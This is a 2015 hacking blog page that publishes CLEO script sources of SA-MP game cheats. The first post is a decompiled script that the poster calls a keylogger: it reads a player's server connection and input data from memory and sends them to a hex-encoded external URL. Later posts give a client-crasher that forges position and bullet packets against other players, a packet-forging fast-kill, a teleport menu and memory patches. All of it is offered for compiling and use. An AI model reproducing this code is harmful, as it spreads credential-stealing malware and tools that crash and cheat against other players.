+ -

Pages

Visit my blog where I release all kinds of hacks!

http://ze-samphacks.blogspot.com/

06/04/2015

fpstoptimizator by cocuka SOURCE (KEYLOGGER from silent-hack.ru)

fpstoptimizator by cocuka
SOURCE


 

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP 
wait 0 
call @Noname_1646 0 
call @Noname_1506 1 -38 
jump @Noname_1838 

:Noname_38
wait 0 
0AA2: 31@ = load_library "kernel32.dll" // IF and SET 
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@  
0A8E: 33@ = 0@ + 47806 // int 
0A8D: 32@ = read_memory 33@ size 1 virtual_protect 1 
if 
  32@ == 0 
else_jump @Noname_166 
0A8E: 3@ = 0@ + 2173568 // int 

:Noname_166
if 
  32@ == 64 
else_jump @Noname_197 
0A8E: 3@ = 0@ + 2173624 // int 

:Noname_197
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1 
if 
  2@ > 1000 
else_jump @Noname_1108 
0A8E: 22@ = 2@ + 985 // int 
0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1 
if 
  2@ > 1000 
else_jump @Noname_1108 
0A8E: 5@ = 23@ + 20 // int 
0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1 
if 
  4@ > 1000 
else_jump @Noname_1108 
0A8E: 5@ = 4@ + 34 // int 
0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1 
if 
  24@ > 1000 
else_jump @Noname_1108 
if 
  32@ == 0 
else_jump @Noname_383 
0A8E: 22@ = 0@ + 2173504 // int 

:Noname_383
if 
  32@ == 64 
else_jump @Noname_414 
0A8E: 22@ = 0@ + 2173560 // int 

:Noname_414
0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1 
if 
  1@ > 1000 
else_jump @Noname_1108 
0A8E: 7@ = 1@ + 40 // int 
0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1 
0A8E: 5@ = 1@ + 44 // int 
0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1 
if 
  6@ == 1 
else_jump @Noname_539 
if or
  26@ == 1 
  26@ == 3 
else_jump @Noname_539 
25@ = 1 

:Noname_539
if and
  25@ == 1 
   not 6@ == 1 
else_jump @Noname_1108 
0A8E: 7@ = 1@ + 48 // int 
0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1 
0A8E: 6@ = 1@ + 36 // int 
0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1 
if 
  32@ == 0 
else_jump @Noname_639 
0A8E: 6@ = 0@ + 617008 // int 

:Noname_639
if 
  32@ == 64 
else_jump @Noname_670 
0A8E: 6@ = 0@ + 515232 // int 

:Noname_670
0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@  
0A8E: 6@ = 4@ + 26 // int 
0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1 
0A8E: 7@ = 4@ + 10 // int 
if 
   not 23@ >= 16 
else_jump @Noname_751 
0085: 12@ = 7@ // (int) 
jump @Noname_763 

:Noname_751
0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1 

:Noname_763
wait 100 
0A8E: 9@ = 2@ + 710 // int 
0A8E: 14@ = 2@ + 452 // int 
0A8E: 8@ = 2@ + 969 // int 
0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1 
0A8E: 18@ = 4@ + 42 // int 
0A8D: 27@ = read_memory 18@ size 4 virtual_protect 1 
21@ = Player.Money($0[2])
0AC6: 0@ = label @Noname_1802 offset 
call @Noname_1115 0 22@ 4@ 25@ 6@ 7@ 8@ 19@ 10@ 
alloc 20@ 1024 
gosub @Noname_1828 
alloc 20@ 456 
format 20@ "%sbase=%d&ip=%s:%d&serv=%s&inid=%d&inp=%s&mn=%d&score=%d&time=%d:%d&data=%d.%d&nn=%s" 0@ 28@ 14@ 15@ 9@ 3@ 5@ 21@ 27@ 7@ 8@ 6@ 4@ 12@ 
alloc 8@ 356 
format 8@ "" 
call @Noname_1357 1 8@ 9@ 
call @Noname_1430 2 9@ 20@ 
free 8@ 
free 20@ 
25@ = 0 

:Noname_1108
jump @Noname_38 

:Noname_1115
0AA2: 0@ = load_library "kernel32.dll" // IF and SET 
0AA4: 1@ = get_proc_address "GetLocalTime" library 0@ // IF and SET 
alloc 2@ 32 
0AA5: call 1@ num_params 1 pop 0 2@  
0A8D: 3@ = read_memory 2@ size 2 virtual_protect 0 
2@ += 2 
0A8D: 4@ = read_memory 2@ size 2 virtual_protect 0 
2@ += 2 
0A8D: 5@ = read_memory 2@ size 2 virtual_protect 0 
2@ += 2 
0A8D: 6@ = read_memory 2@ size 2 virtual_protect 0 
2@ += 2 
0A8D: 7@ = read_memory 2@ size 2 virtual_protect 0 
2@ += 2 
0A8D: 8@ = read_memory 2@ size 2 virtual_protect 0 
2@ += 2 
0A8D: 9@ = read_memory 2@ size 2 virtual_protect 0 
2@ += 2 
0A8D: 10@ = read_memory 2@ size 2 virtual_protect 0 
2@ -= 30 
ret 8 22@ 4@ 25@ 6@ 7@ 8@ 9@ 10@ 

:Noname_1357
0AA2: 30@ = load_library "Wininet.dll" // IF and SET 
0AA4: 29@ = get_proc_address "InternetOpenA" library 30@ // IF and SET 
0AA7: call_function 29@ num_params 5 pop 0 0 0 0 0 0@ 1@  
ret 1 1@ 

:Noname_1430
0AA2: 30@ = load_library "Wininet.dll" // IF and SET 
0AA4: 29@ = get_proc_address "InternetOpenUrlA" library 30@ // IF and SET 
0AA7: call_function 29@ num_params 6 pop 0 0 0 0 0 1@ 0@ 2@  
ret 0 

:Noname_1506
0A9F: 32@ = current_thread_pointer 
32@ += 16 
0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0 
0062: 32@ -= 0@ // (int) 
0AA7: call_function 4607008 num_params 1 pop 1 32@ 33@  
005A: 32@ += 0@ // (int) 
33@ += 16 
0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0 
33@ += 44 
32@ = 0 

:Noname_1597
0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0 
33@ += 4 
32@ += 1 
  32@ > 30 
else_jump @Noname_1597 
ret 0 

:Noname_1646
0AA2: 31@ = load_library "kernel32.dll" // IF and SET 
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@  
0@ += 371500 
0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1 
0@ += 4 
0A8C: write_memory 0@ size 1 value 144 virtual_protect 1 
0@ += 9 
0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1 
0@ += 4 
0A8C: write_memory 0@ size 1 value 144 virtual_protect 1 
ret 0 

:Noname_1802
hex
 68 74 74 70 3A 2F 2F 64 73 74 65 61 6C 2E 72 75
 2F 61 64 64 2E 70 68 70 3F 00
end

:Noname_1828
28@ = 637 
return 

:Noname_1838
end_thread

hex
 68 74 74 70 3A 2F 2F 64 73 74 65 61 6C 2E 72 75
 2F 61 64 64 2E 70 68 70 3F 00
end
is
http://dsteal.ru/add.php?
This is where it sends files to
Mr.Ze
5 SourceHack: 2015 fpstoptimizator by cocuka SOURCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24...

07/03/2015

Player Crasher (with weapon) v2.0 by Mr.Ze SOURCE

Player Crasher v2.0 by Mr.Ze


v1.5


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
{$CLEO}
{$INCLUDE SF}

0000: NOP

0B34: samp register_client_command "CrashDebug" to_label @Debugger
24@ = 0
0B34: samp register_client_command "Crash" to_label @Crasher
0B2E: 10@ = read_samp_memory offset 0x41E0 size 1


WHILE TRUE
wait 0
0A8D: 29@ = read_memory 0xB74490 size 4 virtual_protect 0
000A: 29@ += 0x4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
for 30@ = 0 to 35584 step 0x100
    0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
    000A: 29@ += 0x1
    if and
        0029:  31@ >= 0x00 
        001B:  0x80 > 31@
    then 
        005A: 31@ += 30@
    end
end
if 25@ == 1
then
04C4: store_coords_to 6@ 7@ 8@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 999999999.999999999
0B2D: write_samp_memory offset 0x41E0 value 0xC3 size 1
call @SENDONFOOTFAKEPOSITION 3 6@ 7@ 8@
call @SENDFAKEBULLET 1 31@ // 31@ = player id
end
end


:Debugger
wait 0
0B12: 24@ = 24@ XOR 1
if 24@ == 1
then
    0B2D: write_samp_memory offset 0x41E0 value 0xC3 size 1
    call @SENDONFOOTFAKEPOSITION 3 6@ 7@ 8@ 
    0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {00bfdb}Successfully debugged!" color 12517890
    SAMP.Spawn()
    0AF6: samp spawn_player
    04C4: store_coords_to 6@ 7@ 8@ from_actor $PLAYER_ACTOR with_offset 0.0 0.0 -999999999.999999999
    00A1: put_actor $PLAYER_ACTOR at 6@ 7@ 8@
    0972: put_actor $PLAYER_ACTOR at 6@ 7@ 8@ no_offset
    wait 1337
    print "Your character has been debugged." 3000
    00BA: show_text_styled GXT "Your character has been debugged." time 3000 style 2  // Beefy Baron
    wait 3130
    print "RELOG" 3000
    00BA: show_text_styled GXT "RELOG" time 3000 style 2  // Beefy Baron
    0B2D: write_samp_memory offset 0x41E0 value 10@ size 1
end
0B43: samp cmd_ret 

:Crasher
0B12: 25@ = 25@ XOR 1
if 25@ == 1
then 
    0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {FFFF00}Activated" color 12517890
    Model.Load(#minigun)
    01B2: give_actor $PLAYER_ACTOR weapon 38 ammo 999999
else 
    0AF8: samp add_message_to_chat "{22FF22}[Crasher]: {FFFF00}Deactivated" color 12517890
    0555: remove_weapon 38 from_actor $PLAYER_ACTOR
    Model.Destroy(#minigun)
    0B2D: write_samp_memory offset 0x41E0 value 10@ size 1 
end
0B43: samp cmd_ret


:SENDONFOOTFAKEPOSITION
3@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR) 
3@ = SAMP.GetPlayerStruct(3@)    
3@ += 55
0AC8: 4@ = allocate_memory_size 68 
0C10: memcpy destination 4@ source 3@ size 68 
0C0D: struct 4@ offset 6 size 4 = 0@
0C0D: struct 4@ offset 10 size 4 = 1@ 
0C0D: struct 4@ offset 14 size 4 = 2@ 
0B3D: raknet 5@ = new_bit_stream
0B40: raknet bit_stream 5@ write PACKET_PLAYER_SYNC type BS_TYPE_BYTE size 1 
0B40: raknet bit_stream 5@ write 4@ type BS_TYPE_ARRAY size 68
0B8B: raknet send bit_stream 5@
0B3E: raknet delete_bit_stream 5@
0AC9: free_allocated_memory 4@
0AB2: 0

:SENDFAKEBULLET
alloc 5@ 39 
0C0D: struct 5@ offset 0 size 1 = 1 
0C0D: struct 5@ offset 1 size 2 = 31@
0C0D: struct 5@ offset 27 size 4 = 0.0
0C0D: struct 5@ offset 31 size 4 = 0.0
0C0D: struct 5@ offset 35 size 4 = 0.0
6@ = RakNet.NewBitStream()
BitStream.Write(6@, 224, BS_TYPE_BYTE, 1)
BitStream.Write(6@, 5@, BS_TYPE_ARRAY, 39)
RakNet.LiteSend(6@)
RakNet.DeleteBitStream(6@)
free 5@ 
ret 0

Yes, I am releasing the source to my own script. Why? Because it has already got leaked, and now you see it in SF plugins, in s0beits, and everywhere. It's slowly getting patched, but this might just get it patched faster. Compile and enjoy while you can.

Hacked and decrypted by Mr.Ze
Label :
5 SourceHack: 2015 Player Crasher v2.0 by Mr.Ze SOURCE COMPILED AND RELEASED v1.5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15...

FastKill by SR_Team SOURCE

FastKill by SR_Team
SOURCE


 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
{$CLEO .cs}

thread "SR_team" 
wait 3000 

:SR_team_31
wait 0 
if and
key_down 81 
00E1:   player 0 pressed_key 6 
0AD2: 1@ = player $PLAYER_CHAR targeted_actor //IF and SET 
0457:   player $PLAYER_CHAR aiming_at_actor 1@ 
   not SAMP.ChatInputOpened
   not Actor.Driving($PLAYER_ACTOR)
else_jump @SR_team_31 
SAMP.SetGameKeyState(17, 255)
Actor.StorePos(1@, 13@, 14@, 15@)
0087: 12@ = 15@ // (float) 
12@ += 0.5 
0@ = SAMP.GetSAMPPlayerIDByActorHandle(1@)
alloc 5@ 39 
0C0D: struct 5@ offset 0 size 1 = 1 
0C0D: struct 5@ offset 1 size 2 = 0@ 
0C0D: struct 5@ offset 3 size 4 = 13@ 
0C0D: struct 5@ offset 7 size 4 = 14@ 
0C0D: struct 5@ offset 11 size 4 = 12@ 
0C0D: struct 5@ offset 15 size 4 = 13@ 
0C0D: struct 5@ offset 19 size 4 = 14@ 
0C0D: struct 5@ offset 23 size 4 = 15@ 
0C0D: struct 5@ offset 27 size 4 = 0.0 
0C0D: struct 5@ offset 31 size 4 = 0.0 
0C0D: struct 5@ offset 35 size 4 = 0.0 
6@ = RakNet.NewBitStream()
BitStream.Write(6@, 224, BS_TYPE_BYTE, 1)
BitStream.Write(6@, 5@, BS_TYPE_ARRAY, 39)
RakNet.LiteSend(6@)
RakNet.DeleteBitStream(6@)
free 5@ 
SAMP.SetGameKeyState(17, 0)
jump @SR_team_31




Mr.Ze
Label :
5 SourceHack: 2015 FastKill by SR_Team SOURCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34...

Checkpoint BOT by Opcode.eXe SOURCE

Checkpoint BOT by Opcode.eXe
SOURCE


 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
{$CLEO .cs}

thread "MADE_BY_OPCODEXE" 
0662: printstring "www.youtube.com/OpcodeXe" 
0662: printstring "GO" 

:MADE_BY_OPCODEXE_69
wait 0 
if 
   Player.Defined(0)
else_jump @MADE_BY_OPCODEXE_69 

:MADE_BY_OPCODEXE_88
wait 0 
if 
0ADC:   test_cheat "GO" 
else_jump @MADE_BY_OPCODEXE_261 
if 
  31@ == 0 
else_jump @MADE_BY_OPCODEXE_197 
31@ = 1 
018C: play_sound 1083 at 0.0 0.0 0.0 
print "Checkpoint BOT by OpcodeXe ON" 1337 
jump @MADE_BY_OPCODEXE_261 

:MADE_BY_OPCODEXE_197
31@ = 0 
018C: play_sound 1084 at 0.0 0.0 0.0 
print "Checkpoint BOT by OpcodeXe OFF" 1337 

:MADE_BY_OPCODEXE_261
if 
  31@ == 1 
else_jump @MADE_BY_OPCODEXE_88 
if 
   Actor.Driving($PLAYER_ACTOR)
else_jump @MADE_BY_OPCODEXE_88 
0A8D: 1@ = read_memory 13099016 size 4 virtual_protect 0 
0A8D: 2@ = read_memory 13099020 size 4 virtual_protect 0 
0A8D: 3@ = read_memory 13099024 size 4 virtual_protect 0 
if and
   not 1@ == 0.0 
   not 2@ == 0.0 
   not 3@ == 0.0 
else_jump @MADE_BY_OPCODEXE_516 
Actor.StorePos($PLAYER_ACTOR, 4@, 5@, 6@)
0509: 7@ = distance_between_XY 4@ 5@ and_XY 1@ 2@ 
0AD0: show_formatted_text_lowpriority "~w~[INFO]~w~ CHECKPOINT FOUND! ~r~%f ~w~ meters left!" time 100 7@  
0@ = Actor.CurrentCar($PLAYER_ACTOR)
Car.SetMaxSpeed(0@, 100.0)
Car.SetToPsychoDriver(0@)
0704: car 0@ drive_to 1@ 2@ 3@ 
jump @MADE_BY_OPCODEXE_88 

:MADE_BY_OPCODEXE_516
print "~r~[WARNING]: ~w~ NO CHECKPOINT FOUND..." 1337 
jump @MADE_BY_OPCODEXE_88




Mr.Ze
Label :
5 SourceHack: 2015 Checkpoint BOT by Opcode.eXe SOURCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31...

noSpread by Opcode.eXe modified by SeGma SOURCE

noSpread by Opcode.eXe modified by SeGma
SOURCE


 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
{$CLEO}

0000: NOP 
 
31@ = 0 
:NONAME_123
wait 0 
if 
0ADC:   test_cheat "SPREAD" 
jf @NONAME_365 
if 
  31@ == 0 
jf @NONAME_269 
0ACD: show_text_highpriority "noSPREAD on." time 1337 
22@ = 22 

:NONAME_192
0AB1: call_scm_func @NONAME_372 4 22@ 56 2.0 4  
22@ += 1 
  22@ > 32 
jf @NONAME_192 
018C: play_sound 1083 at 0.0 0.0 0.0 
31@ = 1 
jump @NONAME_365 

:NONAME_269
0ACD: show_text_highpriority "noSPREAD off" time 1337 
22@ = 22 

:NONAME_295
0AB1: call_scm_func @NONAME_372 4 22@ 56 1.0 4  
22@ += 1 
  22@ > 32 
jf @NONAME_295 
018C: play_sound 1084 at 0.0 0.0 0.0 
31@ = 0 

:NONAME_365
jump @NONAME_123 

:NONAME_372
0@ += 36 
0@ *= 112 
0@ += 13150904 
005A: 0@ += 1@ // (int) 
0A8C: write_memory 0@ size 3@ value 2@ virtual_protect 0 
0AB2: ret 0




Mr.Ze
Label :
5 SourceHack: 2015 noSpread by Opcode.eXe modified by SeGma SOURCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27...

06/03/2015

ARP TP by DubStep_ SOURCE

ARP TP by DubStep_
SOURCE




 
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP 
0662: printstring "Made by DS_" 
thread "Label__0" 

:Label__0_29
wait 0 
   SAMP.Available
else_jump @Label__0_29 
chatmsg "[ARP TP]: {ffffff}by DubStep_ started. Special for K0tenok" 65280 
SAMP.GetScreenResolution(10@, 11@)
10@ /= 2 
10@ += 150 
11@ /= 2 
Dialog.Create(0@, "{808080}Teleport by DubStep_{909080} for K0tenok")
Dialog.SetRECT(0@, 10@, 11@, 410, 310)
Dialog.AddListBox(0@, 10, 5, 5, 400, 250)
Dialog.ListBoxInsertElement(0@, 10, "Ěŕăŕçčí Îäĺćäű LS", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Ěŕăŕçčí Îäĺćäű SF", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Ěŕăŕçčí Îđóćč˙ LS", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Ěŕăŕçčí Îđóćč˙ LV", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Ěŕăŕçčí Îđóćč˙ SF", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Ę ěĺňęĺ íŕ ęŕđňĺ", 4@, -1)
Dialog.AddButton(0@, 0, "Ňĺëĺďîđň", 220, 260, 100, 30)
Dialog.AddButton(0@, 1, "Çŕęđűňü", 90, 260, 100, 30)
Dialog.SetVisible(0@, 0)
0B34: samp register_client_command "tpkot" to_label @Label__0_662 

:Label__0_487
wait 0 
if 
   Dialog.IsVisible(0@)
else_jump @Label__0_655 
SAMP.SetCursorMode(3)
if 
   Dialog.PopEvent(0@, 1@, 2@)
else_jump @Label__0_655 
if 
  1@ == 1794 
else_jump @Label__0_565 
Dialog.ListBoxGetSelectedAndCount(0@, 2@, 3@, 0)

:Label__0_565
if 
  1@ == 257 
else_jump @Label__0_655 
if 
  2@ == 0 
else_jump @Label__0_626 
Dialog.SetVisible(0@, 0)
SAMP.SetCursorMode(0)
call @Label__0_735 1 3@ 

:Label__0_626
if 
  2@ == 1 
else_jump @Label__0_655 
Dialog.SetVisible(0@, 0)
SAMP.SetCursorMode(0)

:Label__0_655
jump @Label__0_487 

:Label__0_662
if 
   Dialog.IsVisible(0@)
else_jump @Label__0_696 
Dialog.SetVisible(0@, 0)
SAMP.SetCursorMode(0)
jump @Label__0_733 

:Label__0_696
Dialog.SetVisible(0@, 1)
11@ += 90 
10@ += 100 
call @Label__0_1166 2 10@ 11@ 

:Label__0_733
SAMP.CmdRet

:Label__0_735
if 
  0@ == 0 
else_jump @Label__0_783 
call @Label__0_1159 0 
Actor.PutAt($PLAYER_ACTOR, 459.2712, -1501.217, 30.0387)

:Label__0_783
if 
  0@ == 1 
else_jump @Label__0_831 
call @Label__0_1159 0 
Actor.PutAt($PLAYER_ACTOR, -1696.772, 949.9268, 23.8906)

:Label__0_831
if 
  0@ == 2 
else_jump @Label__0_879 
call @Label__0_1159 0 
Actor.PutAt($PLAYER_ACTOR, 1365.783, -1279.804, 12.5469)

:Label__0_879
if 
  0@ == 3 
else_jump @Label__0_927 
call @Label__0_1159 0 
Actor.PutAt($PLAYER_ACTOR, 2156.103, 943.2082, 9.8203)

:Label__0_927
if 
  0@ == 4 
else_jump @Label__0_975 
call @Label__0_1159 0 
Actor.PutAt($PLAYER_ACTOR, -2626.02, 212.4472, 3.6146)

:Label__0_975
if 
  0@ == 5 
else_jump @Label__0_1154 
if 
0AB6: store_target_marker_coords_to 10@ 11@ 12@ // IF and SET 
else_jump @Label__0_1103 
call @Label__0_1159 0 
Actor.PutAt($PLAYER_ACTOR, 10@, 11@, 12@)
2@ = 0 

:Label__0_1046
wait 0 
0AB6: store_target_marker_coords_to 10@ 11@ 12@ // IF and SET 
Actor.PutAt($PLAYER_ACTOR, 10@, 11@, 12@)
2@ += 1 
  2@ > 50 
else_jump @Label__0_1046 
jump @Label__0_1154 

:Label__0_1103
chatmsg "[ARP TP]: {ffffff}ďîńňŕâü ěĺňęó íŕ ęŕđňĺ!" 65280 

:Label__0_1154
ret 0 

:Label__0_1159
SAMP.Spawn
ret 0 

:Label__0_1166
0AA2: 2@ = load_library "user32.dll" // IF and SET 
0AA4: 3@ = get_proc_address "SetCursorPos" library 2@ // IF and SET 
0AA5: call 3@ num_params 2 pop 0 1@ 0@  
ret 0



Hacked and decrypted by Mr.Ze
Label :
5 SourceHack: 2015 ARP TP by DubStep_ SOURCE // This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-datab...

TP (without kick) by Ta4ir modified by SlonoBoyko SOURCE

TP by Ta4ir modified by SlonoBoyko
SOURCE




 
thread "TP"
0000: NOP

repeat
wait 0
until Samp.Available()
0B34: samp register_client_command "tpmenu" to_label @tpmenu

repeat     
wait 0
    if 30@ == 1
    then
    0B80: dialog 3@ = create "TP by Ta4ir (Modified by SlonoBoyko)"
    0AB1: call_scm_func @set_dialog_pos 3 3@ 300 350
    0B82: dialog 3@ add_button id 0 text "Řŕőňŕ" pos_XY 5 5 size 95 25
    0B82: dialog 3@ add_button id 1 text "Çŕâîä" pos_XY 5 30 size 95 25
    0B82: dialog 3@ add_button id 2 text "Ăđóç÷čę" pos_XY 5 55 size 95 25
    0B82: dialog 3@ add_button id 3 text "Đŕçâ.Ďđîä." pos_XY 5 80 size 95 25
    0B82: dialog 3@ add_button id 4 text "Ěýđč˙ LS" pos_XY 5 105 size 95 25
    0B82: dialog 3@ add_button id 5 text "Ěýđč˙ SF" pos_XY 5 130 size 95 25
    0B82: dialog 3@ add_button id 6 text "Ěýđč˙ LV" pos_XY 5 155 size 95 25
    0B82: dialog 3@ add_button id 7 text "LSPD" pos_XY 5 180 size 95 25
    0B82: dialog 3@ add_button id 8 text "SFPD" pos_XY 5 205 size 95 25
    0B82: dialog 3@ add_button id 9 text "LVPD" pos_XY 5 230 size 95 25
    0B82: dialog 3@ add_button id 10 text "Hosp. LS" pos_XY 5 255 size 95 25
    0B82: dialog 3@ add_button id 11 text "Hosp. SF" pos_XY 5 280 size 95 25
    0B82: dialog 3@ add_button id 12 text "Hosp. LV" pos_XY 5 305 size 95 25
    0B82: dialog 3@ add_button id 13 text "Ballas" pos_XY 100 5 size 95 25
    0B82: dialog 3@ add_button id 14 text "Grove" pos_XY 100 30 size 95 25
    0B82: dialog 3@ add_button id 15 text "Aztecas" pos_XY 100 55 size 95 25
    0B82: dialog 3@ add_button id 16 text "Vagos" pos_XY 100 80 size 95 25
    0B82: dialog 3@ add_button id 17 text "Rifa" pos_XY 100 105 size 95 25
    0B82: dialog 3@ add_button id 18 text "LCN" pos_XY 100 130 size 95 25
    0B82: dialog 3@ add_button id 19 text "Yakuza" pos_XY 100 155 size 95 25
    0B82: dialog 3@ add_button id 20 text "Rus.mafia" pos_XY 100 180 size 95 25
    0B82: dialog 3@ add_button id 21 text "FBI" pos_XY 100 205 size 95 25
    0B82: dialog 3@ add_button id 22 text "ŔĎ" pos_XY 100 230 size 95 25
    0B82: dialog 3@ add_button id 23 text "LSFM" pos_XY 100 255 size 95 25
    0B82: dialog 3@ add_button id 24 text "SFFM" pos_XY 100 280 size 95 25
    0B82: dialog 3@ add_button id 25 text "LVFM" pos_XY 100 305 size 95 25
    0B82: dialog 3@ add_button id 26 text "TV" pos_XY 195 5 size 95 25
    0B82: dialog 3@ add_button id 27 text "ŃÂ" pos_XY 195 30 size 95 25
    0B82: dialog 3@ add_button id 28 text "ÂĚÔ" pos_XY 195 55 size 95 25
    0B82: dialog 3@ add_button id 29 text "ÂÂŃ" pos_XY 195 80 size 95 25
    0B82: dialog 3@ add_button id 30 text "Âîĺíęîě." pos_XY 195 105 size 95 25
    0B82: dialog 3@ add_button id 31 text "Ŕâňîřęîëŕ" pos_XY 195 130 size 95 25
    0B82: dialog 3@ add_button id 32 text "Ěĺňęŕ" pos_XY 195 155 size 95 25
    0B82: dialog 3@ add_button id 33 text "Exit" pos_XY 195 180 size 95 25
    0B8D: samp set_cursor_mode 2
        while 0B87: dialog 3@ is_visible
        wait 0
        
        {=====Ďĺđĺíîń=====}
            if 0AB0: key_pressed 1 
            then 
            0B5E: get_cursor_pos 28@ 27@
            0B85: samp dialog 3@ get_position_to 26@ 25@ size_to 0@ 0@
                if and 
                001D: 28@ > 26@ 
                001D: 27@ > 25@ 
                then 
                26@ += 340 
                25@ += 20 
                    if and 
                    001D: 26@ > 28@ 
                    001D: 25@ > 27@ 
                    then 
                    26@ -= 340
                    25@ -= 20 
                    0062: 28@ -= 26@ 
                    0062: 27@ -= 25@ 
                        while 0AB0: key_pressed 1 
                        wait 0 
                        0B5E: get_cursor_pos 26@ 25@
                        0062: 26@ -= 28@ 
                        0062: 25@ -= 27@ 
                        0B84: samp dialog 3@ set_pos_XY 26@ 25@ size 300 350  
                        end 
                    end 
                end 
            end 
        {=================}
            if 0B81: dialog 3@ pop_event_to 4@ {id ńîáűňč˙} control_id_to 2@ {id ęîěďîíĺíňŕ}
            then
                if 2@ == 32
                then
                    if 0AB6: store_target_marker_coords_to 4@ 5@ 6@ // IF and SET
                    then
                    0AB1: call_scm_func @TP 3 4@ 5@ 6@ // Ňĺëĺďîđňčđóĺě
                    wait 0
                    0AB6: store_target_marker_coords_to 4@ 5@ 6@ // IF and SET
                    Actor.PutAt($PLAYER_ACTOR, 4@, 5@, 6@)
                    0B86: dialog 3@ set_visible false
                    0B8D: samp set_cursor_mode 0
                    30@ = 0
                    else
                    0AF8: samp add_message_to_chat "Îřčáęŕ! Íĺîáőîäčěî ďîńňŕâčňü ěĺňęó íŕ ęŕđňĺ" color 0xff0000
                    end
                else
                    if 2@ == 33
                    then
                    0B86: dialog 3@ set_visible false
                    0B8D: samp set_cursor_mode 0
                    30@ = 0   
                    else
                    0AB1: call_scm_func @coords 1 2@ 4@ 5@ 6@ // Ďîëó÷ŕĺě ęîîđäčíŕňű
                    0AB1: call_scm_func @TP 3 4@ 5@ 6@ // Ňĺëĺďîđňčđóĺě 
                    0B86: dialog 3@ set_visible false
                    0B8D: samp set_cursor_mode 0
                    30@ = 0   
                    end
                end
            end
        end
    end
until false

:tpmenu
if 30@ == 0
then
30@ = 1
end
